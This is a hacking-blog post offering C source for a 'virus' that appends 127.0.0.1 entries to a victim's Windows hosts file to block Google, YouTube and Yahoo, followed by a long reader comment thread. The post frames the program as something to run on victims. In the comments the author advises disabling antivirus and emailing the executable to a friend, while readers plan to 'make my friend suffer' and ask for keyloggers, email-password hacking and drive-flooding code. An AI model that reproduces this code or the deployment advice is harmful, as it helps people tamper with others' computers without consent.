A Virus Program to Block Websites
Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.
This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.
Here is the sourcecode of the virus.
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
How to Compile ?
For step-by-step compilation guide, refer my post How to compile C Programs.
Testing
1. To test, run the compiled module. It will block the sites that is listed in the source code.
2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
3. To remove the virus type the following the Run.
4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
5. Delete all such entries which contain the names of blocked sites.
Popularity: 8% [?]
Visitors who read this post, also read:
By using/following this site you agree to our Legal Disclaimer


Man when i compile the source code with different site name or even with the same sites the compiler shows error,please help i have to make my friend suffer
@ Victor
You have to compile it in Borland C++ compiler.But you may also compile it with other C/C++ compilers with a few modifications to the source code.
Please specify the error that you are getting and I’ll solve the problem!
thanks for information, i will try it soon on my friend only for fun.
hi..cud nyone pls tell me if there is a program in C that can flood the hard drive.i just need the source code with suitable comments i really liked all the program posted here…i’m new to files in C..so i u cud pls temme ow to do it..
thnx…….
it works properly.
hi shrikanth whats up bro…
…
i’m new to your website and i found it very great…
…
i just wanted to ask you a question that how to block all kind of adult sites…
…
waiting for your response…thanks a lot dude !
hi, shrikant kaise ho…………
kya baat hai mere question ka answer nahin diya.
@ nick
You have to add the URL of each adult site indivisually to block the sites.
@ vishal
Sorry, I forgot your question…Can u ask once again?
oh sorry… i didn’t see ur reply dude…
actually when i was posting the comments light went off…and i had no idea that it already posted
anyways thanks a lot…
hi shrikant
i found your site great n fantastic
can u plz tell me the source code of hacking orkut password
hi srikanth
This site is very useful for getting updated on network security.
Thanks brother…
Hi Srikant!!
Happy new year to you…
I’m new to your site…
In the program to block websites you explained the process of editing the hos file in the root directory…
but suppose if i modify the file of my own according the same process of removal..i just want to enter the websites names with ip address 127.0.0.1, then would it work..but it’s not working..why?
explain a little…
Thnx in advance…
Bye brother..
@ Santanu
You can enter any number of websites with IP 127.0.0.1
just like this
127.0.0.1 abc.com
127.0.0.1 http://www.abc.com
etc..
It works…. Here 127.0.0.1 is the IP address of your own computer.127.0.0.1 is the standard IP of every computer..
Please tell how to open blocked site?
@ Prshntrnjn
refer the following post
http://www.gohacking.com/2008/01/how-to-block-website.html
Freind can you please tell me how to hack a email ID and get it’s username and password
@ rock
Refer the folowing posts
Hacking an Email Account
Hack Yahoo, Gmail or any other Password
Hacking Yahoo Password
….wyo….u r jeniys ..
dear frend plees tell me how can i hack my frend’s yahoo massengar id during chating on yahoo massenger…i am wating 4 ur ans.
Hi Srikant,
great job brother, i really appriciate your work, jinious.
Thanks
Pranab
hey i tried to compile using microsoft c++ express edition i keep getting-
fatal error C1083: Cannot open include file: ‘dir.h’: No such file or directory
plz help send to [email protected]
its still not working ive tried evrything can some1 plz just compile one for me with this list?
“myspace.com”,
“www.myspace.com”,
“facebook.com”,
“www.facebook.com”,
“habbo.com”,
“www.habbo.com”,
“www.rapid4u.info”,
“rapid4u.info”
“unfliterme.com”,
“www.unfilterme.com”,
“bemyproxy.com”,
“www.bemyproxy.com”
“xeem.info”,
“www.xeem.info”,
“proxytoyoutube.com”,
“www.proxytoyoutube.com”,
“www.proxy62.com”,
“proxy62.com”,
“www.hi5unblocker.com”,
“hi5unblocker.com”,
“orkutunblocker.com”,
“www.orkutunblocker.com”,
“fbuster.com”,
“www.fbuster.com”,
“216.178.38.116″,
“69.63.178.11″,
“69.63.184.143″,
“63.135.80.46″,
“69.90.139.109″,
“67.159.44.134″,
“72.55.165.26″,
“67.159.51.150″,
“74.54.146.82″,
“67.159.51.150″,
“67.159.45.96″,
“67.159.51.150″
thank you in advance
@ helloman
Use Borland C++ compiler to compile the above source code.It is available for free.
can i rename the blocksite.exe?
@ law
Yes you can rename it.No prob!
Srikanth can you say that few changes for another compilers
For example what can i use instead of FA_DIREC
i cant compile too like helloman said Cannot open include file: ‘dir.h’: No such file or directory
@ itanium89
Use borlank C++ compiler.
hi bro which program u given here its nt working…
@ faizan
It works… Disable your antivirus before you try… Also it works only on XP and Vista
bt bro its giving 25 error….wt i will do?
@ faizan
Download the source code and compile it in Broland C++ compiler. Do not copy and paste the program from my site into a notepad to compile. Download the source code to compile. It works…
ok bro thanx….can you tell me sime other hacking tricks……?i want to change my browser name how can it will do>
@faizan
I’ll come up with a new post on this topic.
hello srikanth,
i m using the trial version of ‘typing master’
after teaching some keys all are locked
is their any way to unlock it
hmm… I have tried all this long long back…
Can we create a media player using C??
If yes can you give me some idea or sample??
@ Narandran
YOu can create it using VC++.
can I put it in the scrapbook of sites like orkut to lay a trap for my friend?
will codes like-
work to block orkut scrapbook?
It doesnot. But it was posted in-
http://hungryhackers.blogspot.com/2007/12/block-your-friends-scrapbook-orkut.html
can u suggest these type of tools to me?
Thanks Srinkath =) for your posts i really like it and it give me idea of C programs and i sipmplified that program so it will be more easy to use to new one:
#include
#include
#include
int main(int argc, char *argv[])
{
char site_list[4][30] = { // the [4] is for number of site
// if you wna put more just change the
// number
“google.com”,
“www.google.com”,
“www.youtube.com”,
“youtube.com”
}
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
// note the disk C:, if the victim
// have another one cahnge it
int i;
fseek(target,0,SEEK_END);
fprintf(target,”\n”);
for(i=0; i<6; i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
return 0;
}
so like that you can compile than on other compiler than borland you can try on DevC++ or another one. Also read carefull the
.
// notes. Enjoy, but dont be too bad with your victim
hai srikanth,
can we set a setting to a folder in a mannar that when we double click it, a c program (.exe file) opens and it asks for a input string(password). if it is right it opens the folder.
awaiting ur response
how do i compile it????
hello srikanth,
i m a student of software engg….
yesterday my instructor has given me an assignment topic i.e., to write code for virus and antivirus in C/C++…… i dont understand wat should i do???
can you give ur any simple and easy virus and its antivirus code??? only for study purpose… kindly help me….. i hv searched alot but i couldnt understand these viruses code… these are very much difficult…
kindly help me plz……..
my email id is
[email protected]
thank u sir……..
w8 4 ur reply
aashee…………
1.Plzz write a code to block orkut
2.how to compile in turbo c++ ?
hai Srikanth..i had use miscoscoft visual studio c++
but when i compiled it..there still had 1 error
the error show to #include
it say the file was not found etc..
erm..u use borland c++?
i did not know how to use it..
i had installed the borland on my pc..
but when to use it..it still messy on me
i had open the not pad read me in folder borland..
it say like this:
Installing and running the Command Line Tools
———————————————-
1. Run freecommandlinetools.exe; choose the
drive and folder into which you want to
install the free C++Builder 5 command line
tool development system.
2. From the bin directory of your installation:
a. Add “c:\Borland\Bcc55″
to the existing path
b. Create a bcc32.cfg file which will set
the compiler options for the Include
and Lib paths (-I and -L switches to
compiler) by adding these lines:
-I”c:\Borland\Bcc55\include”
-L”c:\Borland\Bcc55\lib”
c. Create an ilink32.cfg file which will set
the linker option for the Lib path by
adding this line:
-L”c:\Borland\Bcc55\lib”
i’m very confuse with this instruction..
can u teach me how to do that with ur simple explanation
n simple insruction..
i knw u very brilliant guy..
help me plz.. ):
include dir.h
@ Mr Paranormal
Installing the Borland C++ 5.5 is easy. just follow the instructions as given below. I assume that you’ve have installed the compiler in the C: drive.
1. Install the compiler (I think you’ve already done it).
2. Goto C:\Borland\Bcc55 and create a new text document, open it and add the following lines.
-I”c:\Borland\Bcc55\include”
-L”c:\Borland\Bcc55\lib”
3. Now rename the text doument from New Text Document.txt to bcc32.cfg.
4. Now create another text document, open it and add the following line.
-L”c:\Borland\Bcc55\lib”
5. Now rename the text doument from New Text Document.txt to ilink32.cfg.
6. You’ve now successfully configured you compiler.
Compiling instructions:
1. put the source code abc.c or abc.cpp file into the following path.
c:\Borland\Bcc55
2. goto command prompt, navigate to c:\Borland\Bcc55 and use the following command to compile
bcc32 abc.c
3. If there are errors it’ll be shown. otherwise the compiled module (abc.exe) will be found in the same folder as that of the source code (abc.c).
I did it Srikanth..thank you very much!! (:
i had edit ur coding to input more block website and it works!
but for ur
“Creating a Virus to Restart the Computer at Every Startup” post
i had 3 error when compile..(using borland c++)
erm..i just want to edit the pop-up message to my own words
Hello Srikant,
would u like to tell me how to access any one computer in internet or intranet
Regards
Imran
Hello ,
would you like to tell me how to access any computer over intranet or internet
HELLO SIR.. DOIN A FAB JOB.. PLZ MAY I KNO AFTR COMPILING THE ABOVE SOURCE CODE HOW DO I SEND THIS TO MY FRIEND’S COMPUTER ? REALLY CURIOUS TO KNO . . PLZ REPLY. .
Hello Srikanth,
By your C program I understood how to block a website. Thanks for that. You gave a command that will make the system clear from that virus. In my college it think they have blocked those websites(ORKUT,YOUTUBE,…) just by using this virus. When I try to delete the files which were opened by using the command %windir%\system32\drivers\etc
it shows,
Cannot Delete : Access Denied
Make sure is not full or write protected
and that the file is not currently not in use
Please tell me how to delete it….
@ Guruvigneshwaran
You cannot delete the “etc” since it’s a system file. You need to open it via notepad, look for entries such as Orkut, Youtube… inside it and delete those entries. Save changes after you’re done.
@ Neer
send it by attaching it to email.
i want to create a dealy computer virus it is very important in our contry pls contact me on the folloeing no 07095032142 or send me messager
i want ideal and wisdom to creat or want to do to be creative pls contact me
hi im new at this web so plz plz plz help me 2 learn how2 hack
hi Srikanth i m new at ur web plz plz help me i want to know that what is sourcecode and C/C++ compiler. plz plz plz n plz help me i need ur help.
Hello
the sourcecode in your this post i should type it in notepad or……. plz plz plz plz help me yaar……..
hello.. uhm, can you help me to hack my stepmother’s pc using email (lol) because she’s disturbing my family.. please..
em’ begging..
can we corrupt a folder or a dvd using a programming language(c language)
@ aditya
We can corrupt files inside a folder but not on a DVD.
Hi Sriknath…
Nice work …. man. Its really amazing. I have a experience of coding afew small databases in C . I am looking to combine different Viruses codes in a program. Generally Viruses restart computer if msconfig or regedit is opened. Further Folder options are also disabled. I tried doing so but I could not find any way. I am also looking for coding a hidden Keylogger in C. Keylogger can be coded easily but sending it through email is causing problems. Can you help me plz……
Regards.
Hello sir,
My name is Kiran. To know these programs shell u prefer a book. I like these type of programs very much. Hope i will soon recieve the answer.
EMAIL SECURITY »
What to Do When Your Email Account is Hacked?
How to Recover Hacked Email Accounts?
It can be a real nightmare if someone hacks and takes control of your email account as it may contain confidential information like bank logins, credit card details and other sensitive data. …
HOW-TO GUIDES »
How to Trace Mobile Numbers
With the rapid growth of mobile phone usage in recent years, we have often observed that the mobile phone has become a part of many illegal and criminal activities. So in most cases, tracing the mobile number …
INTERNET SECURITY »
How Antivirus Software Works
Due to ever increasing threat from virus and other malicious programs, almost every computer today comes with a pre-installed antivirus software on it. In fact, an antivirus has become one of the most essential software package for every computer. Even though every one …
NETWORK HACKS »
How to Hack an Ethernet ADSL Router
Almost half of the Internet users across the globe use ADSL routers/modems to connect to the Internet however, most of them are unaware of the fact that it has a serious vulnerability which can easily be exploited even by a …
VIRUS CREATION »
How to Test the Working of your Antivirus – EICAR Test
Have you ever wondered how to test your Antivirus software to ensure it’s proper working? Well here is a quick and easy way to test your antivirus. The process is called EICAR test which will …
Categories
Blogroll
Recent Comments
Most Commented
Most Popular
Log In | Entries (RSS) | Comments (RSS) | Sitemap
© 2008-2011 GoHacking.Com. This content is copyrighted to Srikanth and may not be reproduced on other websites.